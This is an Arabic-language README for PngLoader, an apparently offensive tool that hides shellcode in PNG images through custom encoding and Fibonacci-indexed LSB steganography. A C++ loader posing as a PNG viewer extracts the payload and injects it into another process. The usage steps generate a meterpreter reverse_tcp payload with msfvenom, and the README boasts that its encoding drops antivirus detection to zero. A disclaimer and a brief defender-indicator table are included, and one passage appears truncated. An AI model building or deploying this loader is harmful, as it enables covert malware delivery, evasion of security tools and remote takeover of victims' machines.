
يخفي الحمولات الاعتباطية داخل صور PNG باستخدام ترميز nibble-to-ASCII وإخفاء المعلومات LSB بنمط فيبوناتشي، مع محمّل بلغة C++ يستخرج البيانات المضمّنة وينفّذها.
إخلاء المسؤولية: هذا المشروع مخصص للأغراض التعليمية وأبحاث الأمن المصرّح بها فقط — اختبار الاختراق، ومسابقات CTF، وتمارين الفريق الأحمر، والدراسة الأكاديمية. لا تستخدمه ضد أنظمة دون إذن كتابي صريح.
يخفي PngLoader بيانات عشوائية داخل صور PNG باستخدام طبقتين:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
يُقسَّم كل بايت إلى نصفين من 4 بتات (nibbles). ويُعيَّن كل نيبل إلى حرف ASCII قابل للطباعة عبر إضافة أساس عشوائي (48 أو 64 أو 96):
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
فك الترميز يستخدم خاصية modulo-16 — جميع القواعد الثلاث من مضاعفات 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
اختيار القاعدة العشوائي يعني أن المدخل نفسه ينتج مخرجات مختلفة في كل مرة، لكن فك الترميز دائمًا حتمي.
| القاعدة | النطاق | المحارف |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
تُوضع بايتات الحمولة عند مؤشرات البكسل وفقًا لـمتتالية فيبوناتشي (1، 2، 3، 5، 8، 13، 21، …) على مصفوفة البكسل المسطّحة. يؤدي هذا إلى توزيع التعديلات عبر الصورة بدلًا من تجميعها.
حزم البتات — يُقسَّم كل بايت بنسبة 3/3/2 عبر البتات الأقل أهمية (LSB) لقنوات RGB:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
التغليف — عندما تتجاوز مؤشرات فيبوناتشي عدد البكسلات، فإنها تلتف عبر باقي القسمة (modulo). تُحلّ التصادمات عبر الفحص الخطي (linear probing). تشير نهاية البيانات إلى نهاية البيانات عبر مُنهي 0x00.
| حجم الصورة | البكسلات | السعة النظيفة |
|---|---|---|
| 640×480 | 307,200 | ~27 بايت |
| 1920×1080 | 2,073,600 | ~31 بايت |
| 4000×3000 | 12M | ~35 بايت |
مع تفعيل التغليف، الحد الأقصى للسعة = total_pixels − 1.
يعمل مُحمِّل C++ (loader_png.cpp) كعارض PNG شرعي:
UtilDecryptFileQuoted() (عكس mod-16)تسلسل فيبوناتشي مجرد نهج واحد. تقدّم استراتيجيات اختيار البكسلات الأخرى مقايضات مختلفة بين السعة والأمان:
| الخوارزمية | السعة النظيفة (1080p) | مفتاح مشترك | التوزيع | التكلفة |
|---|---|---|---|---|
| فيبوناتشي (مُنفَّذة) | ~31 بايت | لا | فجوات أسّية | ضئيلة |
| Prime-Index | ~150K بايت | لا | فجوات n·ln(n) | متوسطة |
| LFSR | ~2M بايت | نعم (seed) | شبه عشوائي | ضئيلة |
| Keyed Permutation | ~2M بايت | نعم (مفتاح) | تشفيري | عالية |
| Hilbert Curve | يعتمد على الخطوة | لا | منتظم مكانيًا | متوسطة |
| Golden Ratio (Weyl) | ~2M بايت | لا | تباين منخفض | ضئيلة |
Prime-Index — مؤشرات البكسلات هي أعداد أولية (2، 3، 5، 7، 11…). تنمو الأعداد الأولية بمعدل n·ln(n)، مما يمنح سعة نظيفة أعلى بكثير من فيبوناتشي.
LFSR — يُنتج سجل إزاحة التغذية الراجعة الخطي ذو الطول الأقصى تبديلًا شبه عشوائي. يعمل الـ seed كسرّ مشترك. صفر تصادمات للدورة الكاملة.
Keyed Permutation (Fisher-Yates) — خلط لمؤشرات جميع البكسلات ببذرة من CSPRNG. لا يمكن تمييز المواضع عن العشوائية دون المفتاح.
Hilbert Curve — يمشي على البكسلات على طول منحنى مالئ للفضاء بخطوة محددة. يوزّع التغييرات بالتساوي عبر مساحة الصورة ثنائية الأبعاد.
Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. يُنتج أكثر توزيع أحادي البعد انتظامًا ممكنًا. حسابه بديهي.
الحمولة الخام — 7/13 من الفاحصات تكتشفها:

بعد الترميز — 0/13 من الفاحصات تكتشفها:

لـ الفريق الأزرق / المدافعين:
| الطبقة | المؤشر |
|---|---|
| الثابتة | الاستيرادات: VirtualAllocEx، WriteProcessMemory، SetThreadContext |
| الصورة | يكشف تحليل Chi-squared الإحصائي للاختفاء (steganalysis) على مستويات LSB عن التعديلات |
| السلوكية | إنشاء عملية معلّقة + حقن خيط بعيد (Sysmon EID 1+8) |
| الترميز | أحرف حصرًا من ثلاثة نطاقات ASCII بطول 16 حرفًا |
Python:
pip install numpy Pillow
محمل C++:
1.Loader/Loader_png.vcxproj ← Build Release x64لأغراض البحث الأمني التعليمي والمصرح به فقط. راجع إخلاء المسؤولية أعلاه.